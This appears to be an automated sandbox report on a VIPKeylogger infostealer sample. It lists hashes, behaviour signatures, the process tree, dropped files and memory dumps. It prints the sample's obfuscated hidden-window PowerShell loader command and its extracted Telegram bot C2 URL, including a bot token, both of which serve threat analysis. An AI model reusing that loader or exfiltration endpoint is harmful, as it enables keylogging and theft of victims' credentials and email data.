Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-01-2025 14:58

General

  • Target

    88a5fa91e12be14e5e37a237da70392dd9218f29ad88fa2cff8693ab4e215e81.exe

  • Size

    771KB

  • MD5

    831a8a58088361d324c958970b8ed79c

  • SHA1

    13366befe0af1ebb0665c81209dcab3388257cf0

  • SHA256

    88a5fa91e12be14e5e37a237da70392dd9218f29ad88fa2cff8693ab4e215e81

  • SHA512

    a52f7d06cc421cfb6450c9c747c27b30342fa74eb9809b38be22191a999985fe248ee600490c37e7d291e2addc71f8a922033ed934ee762dfda6012c1f1c531a

  • SSDEEP

    12288:6DGZKmormA1VThZChbBUsfycFOzZ85VEuC4pJBFN167jo0WrAvgCTBIK4nzDiV:4mor/1xhZChlVfyPOJC4pzFTIMLrq8O

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot7888983233:AAGHDGX41oFk6oqVx8IC3EbSn56Cf9Te8YI/sendMessage?chat_id=8150022612

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\88a5fa91e12be14e5e37a237da70392dd9218f29ad88fa2cff8693ab4e215e81.exe
    "C:\Users\Admin\AppData\Local\Temp\88a5fa91e12be14e5e37a237da70392dd9218f29ad88fa2cff8693ab4e215e81.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2788
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Forebrace7=gc -raw 'C:\Users\Admin\AppData\Local\magmaet\clenched\Dipterologist.Fra';$Afskalning=$Forebrace7.SubString(15810,3);.$Afskalning($Forebrace7) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2624
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:4932

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vjuuhoyl.qss.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\nsw97EC.tmp\nsExec.dll

    Filesize

    6KB

    MD5

    1b0e41f60564cccccd71347d01a7c397

    SHA1

    b1bddd97765e9c249ba239e9c95ab32368098e02

    SHA256

    13ebc725f3f236e1914fe5288ad6413798ad99bef38bfe9c8c898181238e8a10

    SHA512

    b6d7925cdff358992b2682cf1485227204ce3868c981c47778dd6da32057a595caa933d8242c8d7090b0c54110d45fa8f935a1b4eec1e318d89cc0e44b115785

  • C:\Users\Admin\AppData\Local\magmaet\clenched\Dipterologist.Fra

    Filesize

    71KB

    MD5

    0bc26f780285cc594b4223505dc6435b

    SHA1

    04907d370431440a307277dce105215f43600157

    SHA256

    4d22c8fcc501f0637f1af1f573fa2ef20f0199eac74a547d7d887040a6d73454

    SHA512

    c5d6cc92b27c554b411253ad3871078307d64b9db6827ac6d98ae2cca5215a6636edc64e15a607ff7fad53468e48302ff73d0ca71e6e13d3f453bcff6533d741

  • C:\Users\Admin\AppData\Local\magmaet\clenched\Septomaxillary.Ali

    Filesize

    334KB

    MD5

    9b013d587817d4c397b180adc2bda56b

    SHA1

    9c5de096f004a8db3ab5a6731bdb96f4e3881dc1

    SHA256

    284dd260b9fd9141e8f787c720e453278b1bb8dff1a655e158a16264b3ea7996

    SHA512

    19dec58786e694c613b7ee237b2d983727750201efdea0d0988e88f1c53b4ee95c6de27daf824c7cc5bb972eed504d4f1d0b0e2e121842b4ea2160c8959cf9ed

  • C:\Windows\Resources\unthick.ini

    Filesize

    33B

    MD5

    e23f52386361095bdb7040b09e2216ae

    SHA1

    91f31dd82ab80140db621b6dce0b9b5d6b568723

    SHA256

    36467321184a76e0fea592d2896856a37ec18fc8480de66f05d719d93b39d070

    SHA512

    19d18de54b3466f0d283271786b3b308c3be07f21174c46563c4c16292716c52f2c1b85f416ed77143ea6847bfc4c4c37f22296948eac47499276b181f129b9c

  • memory/2624-141-0x00000000735BE000-0x00000000735BF000-memory.dmp

    Filesize

    4KB

  • memory/2624-142-0x00000000045C0000-0x00000000045F6000-memory.dmp

    Filesize

    216KB

  • memory/2624-143-0x0000000004D60000-0x0000000005388000-memory.dmp

    Filesize

    6.2MB

  • memory/2624-144-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/2624-145-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/2624-146-0x0000000004BC0000-0x0000000004BE2000-memory.dmp

    Filesize

    136KB

  • memory/2624-147-0x0000000005390000-0x00000000053F6000-memory.dmp

    Filesize

    408KB

  • memory/2624-154-0x0000000005540000-0x00000000055A6000-memory.dmp

    Filesize

    408KB

  • memory/2624-158-0x0000000005770000-0x0000000005AC4000-memory.dmp

    Filesize

    3.3MB

  • memory/2624-159-0x0000000005C00000-0x0000000005C1E000-memory.dmp

    Filesize

    120KB

  • memory/2624-160-0x0000000005C60000-0x0000000005CAC000-memory.dmp

    Filesize

    304KB

  • memory/2624-161-0x0000000006180000-0x0000000006216000-memory.dmp

    Filesize

    600KB

  • memory/2624-162-0x0000000006130000-0x000000000614A000-memory.dmp

    Filesize

    104KB

  • memory/2624-163-0x0000000006BF0000-0x0000000006C12000-memory.dmp

    Filesize

    136KB

  • memory/2624-164-0x0000000007270000-0x0000000007814000-memory.dmp

    Filesize

    5.6MB

  • memory/2624-166-0x0000000007EA0000-0x000000000851A000-memory.dmp

    Filesize

    6.5MB

  • memory/2624-167-0x0000000007020000-0x0000000007052000-memory.dmp

    Filesize

    200KB

  • memory/2624-168-0x000000006FA30000-0x000000006FA7C000-memory.dmp

    Filesize

    304KB

  • memory/2624-178-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/2624-179-0x0000000007060000-0x000000000707E000-memory.dmp

    Filesize

    120KB

  • memory/2624-180-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/2624-181-0x0000000007090000-0x0000000007133000-memory.dmp

    Filesize

    652KB

  • memory/2624-182-0x0000000007190000-0x000000000719A000-memory.dmp

    Filesize

    40KB

  • memory/2624-183-0x00000000071B0000-0x00000000071C1000-memory.dmp

    Filesize

    68KB

  • memory/2624-184-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/2624-185-0x0000000007220000-0x000000000722E000-memory.dmp

    Filesize

    56KB

  • memory/2624-186-0x0000000007230000-0x0000000007244000-memory.dmp

    Filesize

    80KB

  • memory/2624-187-0x0000000007960000-0x000000000797A000-memory.dmp

    Filesize

    104KB

  • memory/2624-188-0x0000000007260000-0x0000000007268000-memory.dmp

    Filesize

    32KB

  • memory/2624-192-0x0000000007970000-0x000000000799A000-memory.dmp

    Filesize

    168KB

  • memory/2624-193-0x00000000079A0000-0x00000000079C4000-memory.dmp

    Filesize

    144KB

  • memory/2624-194-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/2624-195-0x00000000735BE000-0x00000000735BF000-memory.dmp

    Filesize

    4KB

  • memory/2624-196-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/2624-197-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/2624-199-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/2624-200-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/2624-201-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/2624-202-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/2624-203-0x0000000008520000-0x000000000E228000-memory.dmp

    Filesize

    93.0MB

  • memory/2624-204-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/2624-205-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/2624-207-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/2624-208-0x00000000735B0000-0x0000000073D60000-memory.dmp

    Filesize

    7.7MB

  • memory/4932-209-0x0000000000E40000-0x0000000002094000-memory.dmp

    Filesize

    18.3MB

  • memory/4932-223-0x0000000000E40000-0x0000000000E8A000-memory.dmp

    Filesize

    296KB

  • memory/4932-222-0x0000000000E40000-0x0000000002094000-memory.dmp

    Filesize

    18.3MB

  • memory/4932-224-0x0000000025D00000-0x0000000025D9C000-memory.dmp

    Filesize

    624KB

  • memory/4932-226-0x0000000026940000-0x0000000026B02000-memory.dmp

    Filesize

    1.8MB

  • memory/4932-227-0x00000000261E0000-0x0000000026230000-memory.dmp

    Filesize

    320KB

  • memory/4932-228-0x0000000027040000-0x000000002756C000-memory.dmp

    Filesize

    5.2MB

  • memory/4932-231-0x0000000026B10000-0x0000000026BA2000-memory.dmp

    Filesize

    584KB

  • memory/4932-232-0x00000000238A0000-0x00000000238AA000-memory.dmp

    Filesize

    40KB